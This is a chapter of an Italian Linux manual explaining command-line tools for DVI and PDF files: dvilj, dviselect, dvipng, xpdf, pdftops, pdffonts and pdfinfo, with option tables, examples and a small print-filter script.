Figura 29.47. Xdvi.[12]

70 VFlib 3.6.12

Other fonts are solved in PK and GF format fonts. If a font is not available in these formats, a TFM font is used to produce a "black" box. (TFM files are metrics files and do not conatin glyph. But TFM driver in VFlib produces a "box" glyph as it ware font files.)

Parameters of device resolution and magnification factor for the function VF_OpenFont1() determines the font size and font metrics to be opened.

To use VFlib with this vflibcap file, I recommend to open font by VF_OpenFont1(*name*.pk, *dpi*, *dpi*, -1, *mag*, *mag*), where *name*.pk is a font name (e.g., cmr10.pk), *dpi* is the device resolution in dpi (e.g., 300), and *mag* is the magnification factor (e.g., 1.2 for magstep 1 fonts).

```
;; ------------------------------------------------------------------
;;   VFlib Default
;; ------------------------------------------------------------------
(define-default VFlib
  (extension-hints  ("pk" TeX))
  (implicit-font-classes)
  (uncompression-programs  (".Z" "zcat") (".gz" "gzip -cd"))
  (variable-values  (TeX_USE_KPATHSEA      "Yes")
                    (TeX_DPI               "300")  ;; or "600"
                    (TeX_KPATHSEA_MODE     "cx")   ;; or "ljfour"
                    (TeX_KPATHSEA_PROGRAM  "/usr/local/bin/xldvi"))
  (use-kpathsea           $TeX_USE_KPATHSEA)
  (kpathsea-mode          $TeX_KPATHSEA_MODE)
  (kpathsea-program-name  $TeX_KPATHSEA_PROGRAM)
  (code-conversion-files
   "iso8859-1_unicode.ccv" "iso8859-2_unicode.ccv" "iso8859-3_unicode.ccv"
   "iso8859-4_unicode.ccv" "iso8859-5_unicode.ccv" "iso8859-6_unicode.ccv"
   "iso8859-7_unicode.ccv" "iso8859-8_unicode.ccv" "iso8859-9_unicode.ccv"
   "jisx0201_unicode.ccv" "jisx0208_unicode.ccv" "jisx0212_unicode.ccv"
   "ksc5601_unicode.ccv"
   "gb12345_unicode.ccv" "gb2312_unicode.ccv"
   "big5_unicode.ccv" "cns11643_unicode.ccv"
   "iso8859-5_koi8-r.ccv" "koi8-r_iso8859-5.ccv" "koi8-r_unicode.ccv"))

;; ------------------------------------------------------------------
;;   TeX-related Font Class Default and TeX Font Mapper
;; ------------------------------------------------------------------
(define-default  TeX
```

Quit
Open
Reread
Help
Full size
25%
17%
13%
First
Page-10
Page-5
Prev
Next
Page+5
Page+10
Last
View PS
Back

This is xdvik 22.40v (T1Lib rendering on)

Figura 29.48. TkDVI.[13]

29.3.4 Dvilj

Dvilj[14] è un pacchetto di programmi in grado di convertire un file DVI direttamente in formato PCL, quello usato dalle stampanti HP Laserjet.

I programmi in questione sono differenti dal momento che esistono diverse varianti nel linguaggio in base alle caratteristiche delle stampanti stesse. Per la precisione, si distingue tra:

- '**`dvilj4`**' per stampanti HP Laserjet 4 e compatibili;
- '**`dvilj4l`**' per stampanti HP Laserjet 4L e compatibili;
- '**`dvilj2p`**' per stampanti HP Laserjet IIp e compatibili;
- '**`dvilj`**' per stampanti HP Laserjet generiche e compatibili;

La sintassi per l'utilizzo di questi programmi è la stessa, a parte il nome:

```
dvilj [opzioni] file_dvi
```

```
dvilj2p [opzioni] file_dvi
```

```
dvilj4 [opzioni] file_dvi
```

```
dvilj4l [opzioni] file_dvi
```

Si può osservare che non si prevede l'indicazione del file generato dall'elaborazione come argomento finale. Infatti, in condizioni normali, questo file viene creato in modo predefinito, utilizzando lo stesso nome di quello corrispondente del file DVI, dove al posto dell'ultima estensione si utilizza '.lj'; in alternativa può essere indicato attraverso un'opzione apposita.

Per esempio, il comando seguente dovrebbe generare il file 'pippo.lj':

$ **dvilj4l pippo.dvi** [*Invio*]

I programmi di Dvilj non sono in grado di gestire i «caratteri virtuali», cosa che richiede generalmente una pre-elaborazione del file DVI attraverso il programma '**dvicopy**', praticamente nel modo seguente:

$ **dvicopy pippo.dvi pippo.2.dvi** [*Invio*]

$ **dvilj4l pippo.2.dvi** [*Invio*]

La tabella 29.49 riassume le opzioni di questi programmi che compongono il blocco di Dvilj.

Tabella 29.49. Opzioni della riga di comando dei programmi di Dvilj.

Opzione	Descrizione
-c***n***	Stampa ogni pagina ***n*** volte.
-D1	Stampa solo le pagine dispari (destre).
-D2	Stampa solo le pagine pari (sinistre).
-e***file***	Crea il file indicato invece di quello predefinito.
-e-	Emette il risultato attraverso lo standard output.
-f***n***	Stampa a partire dalla pagina ***n***.
-t***n***	Stampa fino alla pagina ***n***.

Opzione	Descrizione
`-p`***n***	Stampa solo ***n*** pagine.
`-m#`***n***	Ridimensiona in rapporto di ***n*** / 1000.
`-m0`	Ridimensiona a 1000 / 1000.
`-mh`	Ridimensiona a 1095 / 1000.
`-m1`	Ridimensiona a 1200 / 1000.
`-mq`	Ridimensiona a 1250 / 1000.
`-m2`	Ridimensiona a 1440 / 1000.
`-m3`	Ridimensiona a 1728 / 1000.
`-m4`	Ridimensiona a 2074 / 1000.
`-m5`	Ridimensiona a 2488 / 1000.
`-r`	Inverte l'ordine delle pagine.
`-s1`	Carta in formato «executive» (7,25 in × 10,5 in).
`-s2`	Carta in formato «lettera» (8,5 in × 11 in).
`-s3`	Carta in formato «legale» (8,5 in × 14 in).
`-s26`	Carta in formato A4.
`-s80`	Busta «monarch» (3,875 in × 7,5 in).
`-s81`	Busta «commercial-10» (4,125 in × 9,5 in).
`-s90`	Busta «DL» (110 mm × 220 mm).
`-s91`	Busta «C5» (162 mm × 229 mm).
`-v`	Mostra informazioni più dettagliate.
`-VK`	Compatibilità con stampanti Kyocera.
`-VB`	Compatibilità con stampanti Brother.
`-V6`	Compatibilità con stampanti HP Laserjet 6L.

I programmi di Dvilj possono funzionare anche come filtro. Per questo, se al posto del file in ingresso si indica un trattino ('`-`'), si intende indicare per questo lo standard input.

29.3.5 Programmi di servizio vari sul formato DVI

Il formato DVI non offre molti strumenti per la sua rielaborazione. Vale la pena di conoscere quel poco che c'è, tenendo conto però che a volte si tratta di script che compiono il loro lavoro attraverso una rielaborazione in PostScript.

Tra tutti questi programmi di servizio merita attenzione '**dvicopy**', il quale si occupa di generare un nuovo file DVI nel quale siano contenuti solo riferimenti a caratteri standard. In pratica, vengono trasformati i riferimenti ai «caratteri virtuali» che possono creare problemi ad alcuni programmi che utilizzano il formato DVI.

29.3.5.1 Utilizzo di «dvicopy»

Il programma '**dvicopy**' [15] trasforma un file DVI in un altro che non contenga più riferimenti a caratteri virtuali:

```
dvicopy [opzioni] [file_dvi_ingresso [file_dvi_uscita]]
```

Come si può intuire dallo schema sintattico, quando non si indica il file DVI in uscita, il risultato dell'elaborazione viene emesso attraverso lo standard output; quando manca anche l'indicazione del file in ingresso, questo viene atteso dallo standard input.

Il programma '**dvicopy**' prevede l'uso eventuale di opzioni, che però non sono determinanti per il suo scopo fondamentale, per cui non vengono mostrate.

$ **dvicopy pippo.dvi pippo.2.dvi** [*Invio*]

L'esempio che si vede, serve semplicemente a generare il file '`pippo.2.dvi`', a partire da '`pippo.dvi`'.

29.3.5.2 Utilizzo di «dviselect»

Il programma '**dviselect**'[16] permette di selezionare un gruppo di pagine da un file DVI, generando un altro file DVI contenente tale raccolta.

```
dviselect [opzioni] intervallo_pagine [,intervallo_pagine]... ↩
↩        [file_dvi_ingresso [file_dvi_uscita]]
```

Come avviene con '**dvicopy**', quando non si indica il file DVI in uscita, il risultato dell'elaborazione viene emesso attraverso lo standard output; quando manca anche l'indicazione del file in ingresso, questo viene atteso dallo standard input. Tuttavia, in aggiunta, si possono usare delle opzioni particolari per indicare espressamente quale file è in ingresso e quale è in uscita.

Dal momento che le opzioni non sono determinanti per il funzionamento di '**dviselect**', queste non vengono mostrate; piuttosto, è necessario descrivere come si indicano gli intervalli di pagine:

- ```
  [pagina_iniziale] : [pagina_finale]
  ```
  ```

In questo modo, il valore che appare prima dei due punti indica la pagina di partenza, mentre l'altro indica la pagina finale. In mancanza del primo valore, si intende la prima pagina; in mancanza del secondo si intende l'ultima pagina.

Se uno dei valori che indicano gli intervalli di pagine, è preceduto da un trattino basso ('_'), si intende fare riferimento a una pagina numerata in modo negativo.

- ```
  odd
  ```

  Seleziona tutte le pagine dispari, ovvero quelle destre in una numerazione normale.

- ```
  even
  ```

  Seleziona tutte le pagine pari, ovvero quelle sinistre in una numerazione normale.

$ **dviselect 20:30,60:70 pippo.dvi pippo.2.dvi** [*Invio*]

L'esempio mostra la creazione del file 'pippo.2.dvi' a partire da 'pippo.dvi', selezionando solo le pagine da 20 a 30 e da 60 a 70.

29.3.5.3 Utilizzo di «dvidvi»

Il programma '**dvidvi**'[17] permette di selezionare un gruppo di pagine da un file DVI, generando un altro file DVI contenente tale raccolta.

```
dvidvi [opzioni] file_dvi_ingresso file_dvi_uscita
```

'**dvidvi**' consente anche di raggruppare assieme più pagine logiche in una sola pagina fisica, attraverso l'opzione speciale '**-m**', come possono fare le PSUtils con i file PostScript. Tuttavia, tale funzionalità è incompleta, perché manca la possibilità di ridurre le dimensioni e di ruotare le pagine.

Tabella 29.50. Alcune opzioni.

Opzione	Descrizione
`-f` ***n***	Seleziona le pagine a partire dal numero indicato.
`-l` ***n***	Seleziona le pagine fino al numero indicato.
`-n` ***n***	Seleziona un numero massimo di ***n*** pagine.
`-i` {***m***..***n***|***n***}[,{***m***..***n***|***n***}]...	Questa opzione, consente di indicare una serie di intervalli di pagine da includere. Gli intervalli sono indicati separando le due estremità con due punti in orizzontale ('..'). Indicando un numero isolato, si fa riferimento esclusivamente alla pagina relativa.
`-x` {***m***..***n***|***n***}[,{***m***..***n***|***n***}]...	Questa opzione, consente di indicare una serie di intervalli di pagine da escludere da quanto già incluso. Funziona come l'opzione '**-i**'.
`-r`	Inverte l'ordine delle pagine.

Segue la descrizione di alcuni esempi.

- $ **dvidvi -f 21 -l 40 pippo.dvi pippo.2.dvi** [*Invio*]

  Genera il file 'pippo.2.dvi', copiando l'intervallo di pagine dalla 21-esima alla 40-esima del file 'pippo.dvi'.

- $ **dvidvi -i 21..40 pippo.dvi pippo.2.dvi** [*Invio*]

  Esattamente come nell'esempio precedente.

29.3.5.4 Utilizzo di «dviconcat»

Il programma '**dviconcat**'[18] permette di unire assieme un gruppo di file DVI, generando un file DVI unico, contenente tale raccolta.

```
dviconcat [opzioni] file...
```

L'opzione più importante è '**-o** *file*', che permette di indicare il nome del file che si vuole generare, a partire dall'unione di tutti i file indicati come argomento nella parte finale della riga di comando. In mancanza di tale opzione, il risultato viene emesso attraverso lo standard output.

$ **dviconcat -o risultato.dvi primo.dvi secondo.dvi** [*Invio*]

L'esempio mostra la creazione del file 'risultato.dvi' a partire da 'primo.dvi' e 'secondo.dvi'.

29.3.5.5 Utilizzo di «dvi2fax»

In alcuni sistemi esiste il programma '**dvi2fax**', [19] che in realtà è uno script che utilizza Dvips e Ghostscript per generare un file in formato FAX a partire da uno in DVI.

```
dvi2fax {-hi|-lo} file_dvi opzioni_per_dvips
```

Come si vede dalla sintassi, non viene indicato il nome del file finale, che in generale è lo stesso di quello di origine, con la variante dell'estensione che diventa '.fax'.

Per arrivare a questo risultato, lo script '**dvi2fax**' si avvale di Dvips con due configurazioni speciali a seconda della risoluzione del fax: 'config.dfaxlo' e 'config.dfaxhigh'. Dvips viene usato per generare un file PostScript con la risoluzione necessaria, mentre Ghostscript svolge il passaggio finale per trasformare il file PostScript in fax.

$ **dvi2fax -hi pippo.dvi** [*Invio*]

L'esempio mostra il caso tipico, in cui si vuole ottenere il file 'pippo.fax' a partire dal file 'pippo.dvi'. Come si può intuire, l'opzione '**-hi**' genera un file FAX ad alta risoluzione, mentre l'opzione opposta, '**-lo**' genererebbe un file a bassa risoluzione.

29.3.5.6 Utilizzo di «dvipng»

Il programma '**dvipng**' [20] permette di generare una serie di file in formato PNG, dalle pagine di un file DVI:

```
dvipng [opzioni] file_dvi[.dvi]
```

Se tra le opzioni della riga di comando non si specifica il nome o il modello del nome dei file da generare, si ottiene qualcosa che riprende la radice del nome del file DVI, seguita da un numero e dall'estensione ('.png').

Tabella 29.51. Alcune opzioni.

Opzione	Descrizione
-D ***n***	Specifica la risoluzione (orizzontale e verticale) in punti per pollice.
-p [=]***n*** -l [=]***n***	Queste due opzioni consentono di selezionare l'intervallo di pagine desiderato. L'opzione '**-p**' indica la pagina iniziale, l'opzione '**-l**' (*last*) serve per indicare la pagina finale. Se si usa il segno '**=**' davanti al numero, si intende fare riferimento a numeri assoluti di pagina.
-pp ***m***-***n***	Questa opzione consente di specificare un intervallo di pagine da generare e può essere usata anche più volte.
-o ***modello***	Questa opzione (*output*) consente di specificare il modello da usare per i nomi dei file da creare. Nel modello, la sigla '**%d**', oppure '**%03d**', viene rimpiazzata con il numero della pagina (nel secondo caso è sempre di tre cifre).
-x ***n***	Specifica il livello di ingrandimento o di riduzione, dove ***n*** rappresenta un valore in millesimi.

Segue la descrizione di alcuni esempi.

- $ **dvipng prova.dvi** [*Invio*]

  Genera una serie di file ('prova1.png', 'prova2.png',...) con il contenuto di tutte le pagine del file 'prova.dvi'.

- $ **dvipng -p =10 -l =20 prova.dvi** [*Invio*]

  Genera una serie di file (da 'prova10.png' a 'prova20.png') con il contenuto delle pagine dalla numero 10 alla numero 20, incluse, contandole in modo assoluto.

- $ **dvipng -p =5 -l =10 -o prova-%03d.png prova.dvi** [*Invio*]

  Genera una serie di file, da 'prova-001.png' a 'prova-010.png'.

  Si osservi che nel modello si può usare solo la sigla '**%d**', oppure '**%03d**', pertanto, se si hanno più di 999 pagine, non è possibile richiedere una numerazione di quattro cifre costanti.

- $ **dvipng -p =5 -l =10 -o prova-%03d.png -x 100 prova.dvi** [*Invio*]

  Come nell'esempio precedente, producendo però delle miniature della dimensione di un decimo (100/1 000).

- $ **dvipng -p =5 -l =10 -o prova-%03d.png -x 100 -D 600 prova.dvi** [*Invio*]

  Come nell'esempio precedente, ma con una risoluzione di 600 punti per pollice. In pratica, considerato che normalmente uno schermo funziona con risoluzioni da 72 punti o da 100 punti, l'immagine risultante è più grande (almeno sei volte più grande).

29.3.5.7 Utilizzo di «dvired»

Lo script '**dvired**', [21] attraverso Dvips e PSUtils, genera una trasformazione in PostScript che poi viene trasformata in modo da ridurre il formato, ottenendo due pagine logiche in una singola pagina fisica.

dvired [-o ***file_ps_uscita*** | -P ***coda_di_stampa*** | -f] [***altre_opzioni_per_dvips***] ***file***

Come si può vedere dallo schema sintattico, attraverso le opzioni indicate è possibile decidere se il risultato finale, in PostScript, debba essere inviato a una coda di stampa, a un file, o debba essere emesso attraverso lo standard output. Se si indicano altre opzioni, queste vengono passate tali e quali a Dvips.

$ **dvired pippo.dvi** [*Invio*]

L'esempio mostra il caso più semplice, ma anche più logico, dal momento per situazioni più complesse conviene gestire direttamente Dvips e i programmi delle PSUtils. In pratica, se Dvips è configurato in modo standard, si ottiene la stampa del file 'pippo.dvi', dopo che questo è stato ridotto in modo da stampare due pagine logiche per una sola pagina reale.

29.4 PDF

Il formato PDF (*Portable document format*) è una derivazione del PostScript, con meno pretese del suo predecessore, ma con caratteristiche interessanti, quali la possibilità di inserire riferimenti ipertestuali e le anteprime delle pagine. Anche se il formato PDF perde alcune potenzialità di PostScript, le sue caratteristiche lo rendono più adatto alla pubblicazione di documenti, pronti per la stampa, attraverso Internet.

29.4.1 Strumenti

Teoricamente, lo stesso Ghostscript dovrebbe essere in grado di elaborare i file PDF, sia per convertire questi in PostScript, sia per fare l'operazione opposta (si veda la sezione 29.1.6); eventualmente, in caso di difficoltà, si può fare affidamento sui programmi del pacchetto Xpdf, composti essenzialmente da un visualizzatore in anteprima, accompagnato da un paio di programmi di conversione.

29.4.1.1 Utilizzo di «xpdf»

Il programma '**`xpdf`**' [22] si usa con l'ambiente grafico X ed è in grado di visualizzare il contenuto dei file in formato PDF. Può essere avviato semplicemente, senza indicare argomenti; in tal caso è possibile caricare un file PDF attraverso il menù che si ottiene premendo il terzo tasto del mouse. Se si indica un file nella riga di comando, questo viene aperto immediatamente; eventualmente può anche essere aggiunto un numero di pagina che rappresenta il punto da cui si vuole iniziare la visualizzazione.

`xpdf` [***opzioni***] [***file_pdf*** [***n_pagina***|+***destinazione***]]

Figura 29.52. Il programma '**`xpdf`**' durante il funzionamento.

La figura 29.52 mostra l'indice aperto sulla sinistra. Si osservi che non tutti i file PDF hanno un indice di questo tipo; a ogni modo, per aprire tale finestra, occorre «afferrare» il pulsantino quadrato che appare nella parte inferiore della linea di separazione e trascinarlo verso destra.

La stampa del file PDF può essere ottenuta selezionando il tasto che rappresenta la stampante. Il programma propone la scelta del programma di stampa o del file PostScript nel quale salvare le pagine desiderate.

Figura 29.53. La mascherina per il controllo della stampa.

Tabella 29.54. Alcune opzioni.

Opzione	Descrizione
`-rv`	Inverte i colori delle pagine, escluse le immagini (non funziona con tutti i file PDF).
`-fullscreen`	Funziona a schermo intero.

Segue la descrizione di alcuni esempi.

- `$` **`xpdf prova.pdf`** [*Invio*]

  Carica il file '`prova.pdf`' e inizia a visualizzare la prima pagina.

- `$` **`xpdf prova.pdf 10`** [*Invio*]

  Carica il file '`prova.pdf`' e inizia a visualizzare la pagina numero 10.

- `$` **`xpdf prova.pdf +capitolo-1`** [*Invio*]

  Carica il file '`prova.pdf`' e inizia a visualizzare la pagina che contiene l'etichetta '**`capitolo-1`**'.

- `$` **`xpdf -rv prova.pdf`** [*Invio*]

  Carica il file '`prova.pdf`' visualizzando a colori inversi.

Il funzionamento interattivo può essere controllato attraverso il mouse, oppure attraverso la tastiera, come descritto nella tabella successiva. La conoscenza dei comandi da tastiera è indispensabile per poter utilizzare il programma a schermo intero, perché in tal caso mancano i pulsanti grafici di controllo.

Tabella 29.55. Alcuni comandi per l'uso di '**`xpdf`**'.

Comando	Alternativa	Descrizione
[*h*]	pulsante grafico con il punto interrogativo	Visualizza una finestra contenente una guida rapida all'uso del programma (*help*).
[*o*]	con il tasto destro del mouse si può selezionare la voce da un menù a scomparsa	Apre un file (*open*).
[*r*]	con il tasto destro del mouse si può selezionare la voce da un menù a scomparsa	Riapre un file già aperto (*reopen*).
[*f*], [*Ctrl f*]	pulsante grafico con il binocolo	Cerca una stringa nel documento (*find*).
[*Ctrl g*]		Cerca la corrispondenza successiva (*go*).
[*Ctrl p*]	pulsante grafico con la stampante	Stampa (*print*).
[*Ctrl n*]	pulsante grafico con il simbolo '**>**'	Passa alla pagina successiva (*next*).
[*Ctrl p*]	pulsante grafico con il simbolo '**<**'	Passa alla pagina precedente (*previous*).
[*pagina-giù*], [*barra-spaziatrice*]		Scorre in avanti.
[*pagina-su*], [*Backspace*], [*Canc*]		Scorre all'indietro.
tasti freccia		Scorre lentamente nella direzione della freccia.
[*Home*]		Scorre all'inizio della pagina attuale.
[*End*]		Scorre alla fine della pagina attuale.
[*v*]	pulsante grafico con il simbolo '**->**'	Scorre in avanti nello storico delle pagine già visitate.
[*b*]	pulsante grafico con il simbolo '**->**'	Scorre all'indietro nello storico delle pagine già visitate.
[*0*], [+], [-]	pulsante grafico del menù di controllo dell'ingrandimento	Controlla l'ingrandimento: [*0*] riporta alla dimensione normale; i tasti [+] e [-] ingrandiscono e riducono rispettivamente.
[*z*], [*w*]	pulsante grafico del menù di controllo dell'ingrandimento: *fit page* e *fit width*	I due comandi servono rispettivamente per adattare l'ingrandimento in modo tale che si veda tutta la pagina, oppure che si veda tutta l'ampiezza della pagina.
[*Ctrl-l*]		Ridisegna l'immagine.
[*q*]		Conclude il funzionamento (*quit*).

Quando il puntatore grafico del mouse si trova nell'area che mostra la pagina, i tasti del mouse hanno funzioni speciali:

sinistro, trascinamento	Il tasto sinistro consente di evidenziare una zona, attraverso il trascinamento, che può essere incollata in un altro programma (funziona solo per il testo).
sinistro, clic	Un clic con il tasto sinistro consente di seguire un riferimento ipertestuale.
centrale, trascinamento	Il tasto centrale, tenendolo premuto, consente di spostare la pagina nello spazio di visualizzazione della sua finestra.
destro, clic	Un clic con il tasto destro mostra un menù a scomparsa, da cui è possibile accedere facilmente alle funzioni più importanti.

29.4.1.2 Utilizzo di «pdftops»

Il programma '**pdftops**' [23] converte file dal formato PDF in PostScript. Se viene omessa l'indicazione del nome del file PostScript nella riga di comando, questo viene determinato sostituendo l'estensione '.pdf' con '.ps'.

```
pdftops [opzioni] file_pdf [file_ps]
```

Di solito esiste anche l'eseguibile '**pdf2ps**' che in realtà è solo uno script predisposto in modo da avviare opportunamente Ghostscript allo stesso scopo di convertire un file PDF in PostScript. È importante chiarire che non si tratta della stessa cosa e che, spesso, '**pdf2ps**' non funziona.

Tabella 29.57. Alcune opzioni.

Opzione	Descrizione
-f *n_pagina_iniziale*	Permette di specificare il numero della pagina iniziale del gruppo da convertire.
-l *n_pagina_finale*	Permette di specificare il numero della pagina finale del gruppo da convertire.

Segue la descrizione di alcuni esempi.

- $ **pdftops prova.pdf prova.ps** [*Invio*]

  Converte il file 'prova.pdf' in 'prova.ps'.

- $ **pdftops -f10 -l20 prova.pdf prova.ps** [*Invio*]

  Estrae dal file 'prova.pdf' le pagine da 10 a 20, generando il file 'prova.ps' in formato PostScript.

29.4.1.3 Utilizzo di «pdftotext»

Il programma '**pdftotext**' [24] converte file dal formato PDF in testo puro, con tutte le limitazioni che ciò significa. Se viene omessa l'indicazione del nome del file di testo nella riga di comando, questo viene determinato sostituendo l'estensione '.pdf' con '.txt'.

```
pdftotext [opzioni] file_pdf [file_txt]
```

Le opzioni già descritte a proposito di '**pdftops**' funzionano anche con questo programma. Naturalmente ne sono disponibili altre, come descritto nella documentazione *pdftotext(1)*.

29.4.1.4 Utilizzo di «pdfimages»

Il programma '**pdfimages**' [25] consente di estrarre da un file PDF le immagini contenute:

```
pdfimages [opzioni] file_pdf [radice_file_immagini]
```

In pratica, si indica il file da scandire e nell'ultimo argomento si mette la parte iniziale del nome dei file che si vogliono generare. Di solito si ottengono nomi del tipo '***radice*-*nnn*.*estensione***':

$ **pdfimages prova.pdf immagine** [*Invio*]

L'esempio mostra la scansione del file '`prova.pdf`', per estrarre le immagini, che vengono salvate in file con nomi che corrispondono al modello '`immagine-*`'.

Tabella 29.58. Alcune opzioni.

Opzione	Descrizione
`-f` ***n_pagina_iniziale***	Permette di specificare il numero della pagina iniziale del gruppo da scandire.
`-l` ***n_pagina_finale***	Permette di specificare il numero della pagina finale del gruppo da scandire.

29.4.1.5 Utilizzo di «pdffonts»

Il programma '**pdffonts**' [26] consente di conoscere quali tipi di carattere sono stati usati in un file PDF:

```
pdffonts [opzioni] file_pdf
```

Si potrebbe ottenere un listato simile a quello seguente:

```
name                                 type         emb sub uni object ID
------------------------------------ ------------ --- --- --- ---------
Times-Roman                          Type 1       no  no  no      84  0
Times-Roman                          Type 1       no  no  no      83  0
Times-BoldItalic                     Type 1       no  no  no      92  0
Times-Roman                          Type 1       no  no  no      88  0
Courier                              Type 1       no  no  no     128  0
Times-Bold                           Type 1       no  no  no     102  0
Times-Bold                           Type 1       no  no  no      99  0
...
GIRFAV+CMMI10                        Type 1C      yes yes no     468  0
WETNRH+CMEX10                        Type 1C      yes yes no     465  0
Courier-BoldOblique                  Type 1       no  no  no     478  0
CSAMPF+CMMI10~1e4                    Type 1C      yes yes no     485  0
Times-Italic                         Type 1       no  no  no     486  0
Symbol                               Type 1       no  no  no     512  0
MGBIUX+CMR10~20e                     Type 1C      yes yes no     527  0
```

```
XQDQTR+CMSY10~215                    Type 1C      yes yes no      534   0
Courier-Bold                         Type 1       no  no  no      546   0
Times-Italic                         Type 1       no  no  no      551   0
Symbol                               Type 1       no  no  no      564   0
LFWIIS+TeX-cmex9                     Type 1C      yes yes no      571   0
IGXMIF+ZapfChancery-MediumItalic     Type 1C      yes yes no      582   0
UUMAPZ+CMMI10~2c0                    Type 1C      yes yes no      705   0
Times-Italic                         Type 1       no  no  no      697   0
Times-Italic                         Type 1       no  no  no      696   0
Symbol                               Type 1       no  no  no      712   0
YKQLDT+TeX-cmex9~2b6                 Type 1C      yes yes no      695   0
VNVKKX+CMEX10~2c6                    Type 1C      yes yes no      711   0
JRRRBT+CMSY10~2c3                    Type 1C      yes yes no      708   0
Times-Roman                          Type 1       no  no  no      699   0
MYEVGY+CMR10~2bd                     Type 1C      yes yes no      702   0
Times-Roman                          Type 1       no  no  no      698   0
Symbol                               Type 1       no  no  no      721   0
```

Tabella 29.60. Alcune opzioni.

Opzione	Descrizione
`-f` ***n_pagina_iniziale***	Permette di specificare il numero della pagina iniziale del gruppo da scandire.
`-l` ***n_pagina_finale***	Permette di specificare il numero della pagina finale del gruppo da scandire.

29.4.1.6 Utilizzo di «pdfinfo»

Il programma '**`pdfinfo`**' [27] consente di conoscere le informazioni disponibili su di un PDF:

`pdfinfo` [***opzioni***] ***file_pdf***

Si potrebbe ottenere un listato simile a quello seguente:

```
Title:          Editoria elettronica con Alml
Subject:        Dal foglio di carta alla realizzazione di un documento ↩
↪secondo Alml, con le note necessarie per scrivere in modo ↩
↪coerente rispetto all’opera «Appunti di informatica libera»
Keywords:       Alml, SGML, Linux, GNU/Linux, Unix, software, software libero
Author:         Daniele Giacomini    daniele (ad) swlibero org
Creator:        LaTeX with hyperref package
Producer:       dvipdfm 0.13.2c, Copyright © 1998, by Mark A. Wicks
CreationDate:   Fri Apr 18 14:01:28 2003
Tagged:         no
Pages:          227
Encrypted:      no
Page size:      595 x 842 pts (A4)
File size:      1643633 bytes
Optimized:      no
PDF version:    1.2
```

Se con le opzioni si specifica un intervallo di pagine, si ottengono anche le misure delle varie pagine selezionate.

Tabella 29.62. Alcune opzioni.

Opzione	Descrizione
`-f` ***n_pagina_iniziale***	Permette di specificare il numero della pagina iniziale del gruppo da scandire.
`-l` ***n_pagina_finale***	Permette di specificare il numero della pagina finale del gruppo da scandire.

29.4.2 Filtro di stampa

Un filtro in grado di convertire un file PDF allo scopo di inviarlo alla stampa, dovrebbe passare per la conversione in PostScript. Il programma migliore per questo dovrebbe essere ‘**`pdftops`**’, del pacchetto Xpdf, come già indicato.

Nella realizzazione di uno script del genere, occorre tenere presente che ‘**`pdftops`**’ ha bisogno di accedere al file PDF in modo non sequenziale (e lo stesso varrebbe comunque anche per Ghostscript), per cui questo non può essere fornito attraverso lo standard input. Quello che segue è uno script che cerca di ovviare all’inconveniente:

```
#!/bin/sh

# Definisce il nome di un file temporaneo.
FILE_PDF=`tempfile`

# Trasferisce lo standard input nel file temporaneo.
cat > $FILE_PDF

# Trasforma il file PDF in PostScript, emettendo il risultato
# attraverso lo standard output.
/usr/bin/pdftops $FILE_PDF -
```

Volendo intervenire nella configurazione di Magicfilter, si può sostituire la direttiva riferita al formato PDF, che di solito fa uso di Ghostscript come si vede qui:

```
# PDF
0       %PDF    fpipe   \
    /usr/bin/gs -q -dSAFER -dNOPAUSE -r600 -sDEVICE=ljet4 -sOutputFile=- $FILE
```

Questa potrebbe essere modificata in modo che utilizzi '**`pdftops`**':

```
# PDF
0       %PDF    fpipe   /usr/bin/pdftops $FILE -
```

29.5 Riferimenti

- Peter J. Weingartern, *A First Guide to PostScript*
  ⟨*http://www.tailrecursive.org/postscript/postscript.html* ⟩
- Thomas Merz, *Ghostscript Manual*, 1997
  ⟨*http://pages.cs.wisc.edu/%7Eghost/doc/merz.htm* ⟩
- *Cappella Archive*
  ⟨*http://www.cappella.demon.co.uk/index.html* ⟩
- David Byram Wigfield, *Self-Printing Books*
  ⟨*http://www.cappella.demon.co.uk/tinypdfs/01books.pdf* ⟩

[1] Esistono due filoni nello sviluppo di Ghostscript; solo quello contrassegnato dalla sigla «GNU» è rilasciato con la licenza GNU GPL, mentre l'altro non è propriamente software libero.

[2] **Ghostscript** GNU GPL

[3] **HPIJS** GNU GPL, BSD e MIT

[4] **Ghostview** GNU GPL

[5] **GV** GNU GPL

[6] **Pstoedit** GNU GPL

[7] Ci possono essere difficoltà nella conversione a partire dal formato PDF, ma in tal caso è sufficiente convertirlo prima in PostScript.

[8] **PSUtils** licenza speciale formulata in modo poco preciso

[9] Alcune distribuzioni GNU comuni non includono tutto il necessario per arrivare al risultato finale della stampa attraverso i programmi del pacchetto Dvilj.

[10] **Dvips** GNU GPL

[11] **Dvipdfm** GNU GPL

[12] **Xdvi** MIT

[13] **TkDVI** software libero con licenza speciale

[14] **Dvilj** GNU GPL

[15] **dvicopy** GNU GPL

[16] **dviselect** licenza speciale

[17] **dvidvi** GNU GPL

[18] **dviconcat** licenza speciale

[19] **dvi2fax** dominio pubblico

[20] **dvipng** GNU GPL

[21] **dvired** GNU GPL

[22] **Xpdf** GNU GPL

[23] **Xpdf** GNU GPL

[24] **Xpdf** GNU GPL

[25] **Xpdf** GNU GPL

[26] **Xpdf** GNU GPL

[27] **Xpdf** GNU GPL

Stampare

30.1 Introduzione alla stampa 1630

30.1.1 Dispositivi e stampa brutale 1631
30.1.2 Visione generale e astratta 1632
30.1.3 Problemi collegati con la stampa remota 1633
30.1.4 Filtri di stampa 1633
30.1.5 Stampanti virtuali multiple 1634
30.1.6 Quando il meccanismo dei filtri non funziona bene 1635

30.2 Sistema di stampa BSD o compatibile 1635

30.2.1 Configurazione con «/etc/printcap» 1636
30.2.2 Servizio di stampa 1641
30.2.3 Stampante predefinita 1642
30.2.4 Clienti di stampa 1642
30.2.5 Esame delle code di stampa 1643
30.2.6 Rimozione dei processi di stampa dalle code 1644
30.2.7 Controllo del sistema di stampa 1645
30.2.8 Particolarità del sistema BSD vero e proprio 1646
30.2.9 Particolarità di LPRng 1646
30.2.10 Stampare attraverso X con un sistema di stampa BSD 1649
30.2.11 Librerie GTK 2 1649
30.2.12 Sviluppo successivo 1649

30.3 Stampa remota attraverso Rlpr 1650

30.3.1 Scelta automatica della stampante remota 1651

30.4 Stampa automatica da un file 1654

30.5 File e filtri per la stampa 1655

30.5.1 File per la stampa 1655
30.5.2 Filtri di stampa 1657
30.5.3 Magicfilter 1662
30.5.4 PostScript printer description 1666
30.5.5 Foomatic-RIP 1669
30.5.6 Controllo dell'impostazioni della carta 1670

30.6 Uniformità del sistema di stampa: da testo a PostScript 1670

